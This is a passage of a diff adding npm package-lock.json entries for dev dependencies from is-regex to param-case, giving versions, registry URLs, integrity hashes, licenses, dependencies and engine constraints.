+ "node_modules/is-regex": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
+ "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "gopd": "^1.2.0",
+ "has-tostringtag": "^1.0.2",
+ "hasown": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-set": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
+ "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-shared-array-buffer": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz",
+ "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-string": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz",
+ "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-symbol": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
+ "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "has-symbols": "^1.1.0",
+ "safe-regex-test": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-typed-array": {
+ "version": "1.1.15",
+ "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
+ "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "which-typed-array": "^1.1.16"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-unicode-supported": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
+ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-unsafe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.0.tgz",
+ "integrity": "sha512-2LdV822R+wmI86unXA93WCFpL6g+av8ynWk0nrHyJqGop5VoocYsSLFgN8jrfalT6iGeLNM4KXuVSsULP53kEA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/is-weakmap": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
+ "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-weakref": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz",
+ "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-weakset": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz",
+ "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "get-intrinsic": "^1.2.6"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-wsl": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
+ "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-docker": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/isarray": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+ "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/jake": {
+ "version": "10.9.4",
+ "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz",
+ "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "async": "^3.2.6",
+ "filelist": "^1.0.4",
+ "picocolors": "^1.1.1"
+ },
+ "bin": {
+ "jake": "bin/cli.js"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/js-yaml": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz",
+ "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/puzrin"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/nodeca"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "argparse": "^2.0.1"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/jsep": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/jsep/-/jsep-1.4.0.tgz",
+ "integrity": "sha512-B7qPcEVE3NVkmSJbaYxvv4cHkVW7DQsZz13pUMrfS8z8Q/BuShN+gcTXrUlPiGqM2/t/EEaI030bpxMqY8gMlw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10.16.0"
+ }
+ },
+ "node_modules/json-parse-even-better-errors": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/json-schema-migrate": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/json-schema-migrate/-/json-schema-migrate-0.2.0.tgz",
+ "integrity": "sha512-dq4/oHWmtw/+0ytnXsDqVn+VsVweTEmzm5jLgguPn9BjSzn6/q58ZiZx3BHiQyJs612f0T5Z+MrUEUUY5DHsRg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ajv": "^5.0.0"
+ }
+ },
+ "node_modules/json-schema-migrate/node_modules/ajv": {
+ "version": "5.5.2",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz",
+ "integrity": "sha512-Ajr4IcMXq/2QmMkEmSvxqfLN5zGmJ92gHXAeOXq1OekoH2rfDNsgdDoL2f7QaRCy7G/E6TpxBVdRuNraMztGHw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "co": "^4.6.0",
+ "fast-deep-equal": "^1.0.0",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.3.0"
+ }
+ },
+ "node_modules/json-schema-migrate/node_modules/fast-deep-equal": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz",
+ "integrity": "sha512-fueX787WZKCV0Is4/T2cyAdM4+x1S3MXXOAhavE1ys/W42SHAPacLTQhucja22QBYrfGw50M2sRiXPtTGv9Ymw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/json-schema-migrate/node_modules/json-schema-traverse": {
+ "version": "0.3.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz",
+ "integrity": "sha512-4JD/Ivzg7PoW8NzdrBSr3UFwC9mHgvI7Z6z3QGBsSHgKaRTUDmyZAAKJo2UbG1kUVfS9WS8bi36N49U1xw43DA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/json-schema-traverse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/jsonc-parser": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-2.2.1.tgz",
+ "integrity": "sha512-o6/yDBYccGvTz1+QFevz6l6OBZ2+fMVu2JZ9CIhzsYRX4mjaK5IyX9eldUdCmga16zlgQxyrj5pt9kzuj2C02w==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/jsonfile": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+ "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+ "dev": true,
+ "license": "MIT",
+ "optionalDependencies": {
+ "graceful-fs": "^4.1.6"
+ }
+ },
+ "node_modules/jsonpath-plus": {
+ "version": "10.4.0",
+ "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-10.4.0.tgz",
+ "integrity": "sha512-T92WWatJXmhBbKsgH/0hl+jxjdXrifi5IKeMY02DWggRxX0UElcbVzPlmgLTbvsPeW1PasQ6xE2Q75stkhGbsA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jsep-plugin/assignment": "^1.3.0",
+ "@jsep-plugin/regex": "^1.0.4",
+ "jsep": "^1.4.0"
+ },
+ "bin": {
+ "jsonpath": "bin/jsonpath-cli.js",
+ "jsonpath-plus": "bin/jsonpath-cli.js"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/jsonpointer": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz",
+ "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/leven": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
+ "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/lilconfig": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
+ "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/antonk52"
+ }
+ },
+ "node_modules/lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/lodash": {
+ "version": "4.18.1",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz",
+ "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/lodash.topath": {
+ "version": "4.5.2",
+ "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz",
+ "integrity": "sha512-1/W4dM+35DwvE/iEd1M9ekewOSTlpFekhw9mhAtrwjVqUr83/ilQiyAvmg4tVX7Unkcfl1KC+i9WdaT4B6aQcg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/log-symbols": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
+ "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "chalk": "^4.1.0",
+ "is-unicode-supported": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/long": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz",
+ "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==",
+ "dev": true,
+ "license": "Apache-2.0"
+ },
+ "node_modules/lower-case": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
+ "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/lower-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/make-error": {
+ "version": "1.3.6",
+ "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
+ "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/math-intrinsics": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+ "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/merge2": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/micromatch": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+ "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "braces": "^3.0.3",
+ "picomatch": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=8.6"
+ }
+ },
+ "node_modules/mimic-fn": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
+ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/minimatch": {
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "brace-expansion": "^2.0.2"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/mute-stream": {
+ "version": "0.0.8",
+ "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
+ "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/natural-orderby": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/natural-orderby/-/natural-orderby-2.0.3.tgz",
+ "integrity": "sha512-p7KTHxU0CUrcOXe62Zfrb5Z13nLvPhSWR/so3kFulUQU0sgUll2Z0LwpsLN351eOOD+hRGu/F1g+6xDfPeD++Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/nimma": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/nimma/-/nimma-0.2.3.tgz",
+ "integrity": "sha512-1ZOI8J+1PKKGceo/5CT5GfQOG6H8I2BencSK06YarZ2wXwH37BSSUWldqJmMJYA5JfqDqffxDXynt6f11AyKcA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@jsep-plugin/regex": "^1.0.1",
+ "@jsep-plugin/ternary": "^1.0.2",
+ "astring": "^1.8.1",
+ "jsep": "^1.2.0"
+ },
+ "engines": {
+ "node": "^12.20 || >=14.13"
+ },
+ "optionalDependencies": {
+ "jsonpath-plus": "^6.0.1 || ^10.1.0",
+ "lodash.topath": "^4.5.2"
+ }
+ },
+ "node_modules/no-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
+ "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "lower-case": "^2.0.2",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/no-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/node-fetch": {
+ "version": "2.6.7",
+ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz",
+ "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "whatwg-url": "^5.0.0"
+ },
+ "engines": {
+ "node": "4.x || >=6.0.0"
+ },
+ "peerDependencies": {
+ "encoding": "^0.1.0"
+ },
+ "peerDependenciesMeta": {
+ "encoding": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/object-inspect": {
+ "version": "1.13.4",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+ "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/object-keys": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/object-treeify": {
+ "version": "1.1.33",
+ "resolved": "https://registry.npmjs.org/object-treeify/-/object-treeify-1.1.33.tgz",
+ "integrity": "sha512-EFVjAYfzWqWsBMRHPMAXLCDIJnpMhdWAqR7xG6M6a2cs6PMFpl/+Z20w9zDW4vkxOFfddegBKq9Rehd0bxWE7A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/object.assign": {
+ "version": "4.1.7",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz",
+ "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "call-bound": "^1.0.3",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.0.0",
+ "has-symbols": "^1.1.0",
+ "object-keys": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "wrappy": "1"
+ }
+ },
+ "node_modules/onetime": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
+ "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "mimic-fn": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/openapi-types": {
+ "version": "12.1.3",
+ "resolved": "https://registry.npmjs.org/openapi-types/-/openapi-types-12.1.3.tgz",
+ "integrity": "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/ora": {
+ "version": "5.4.1",
+ "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz",
+ "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "bl": "^4.1.0",
+ "chalk": "^4.1.0",
+ "cli-cursor": "^3.1.0",
+ "cli-spinners": "^2.5.0",
+ "is-interactive": "^1.0.0",
+ "is-unicode-supported": "^0.1.0",
+ "log-symbols": "^4.1.0",
+ "strip-ansi": "^6.0.0",
+ "wcwidth": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/own-keys": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.2.tgz",
+ "integrity": "sha512-19YVAg7T+WTrxggPukVq7DjTv6+PJ867TmhCvBsYwmbFCsZd344rq2Ld1p0wo8f8Qrrhgp82c6FJRqdXWtSEhg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.4",
+ "get-intrinsic": "^1.3.0",
+ "object-keys": "^1.1.1",
+ "safe-push-apply": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/param-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
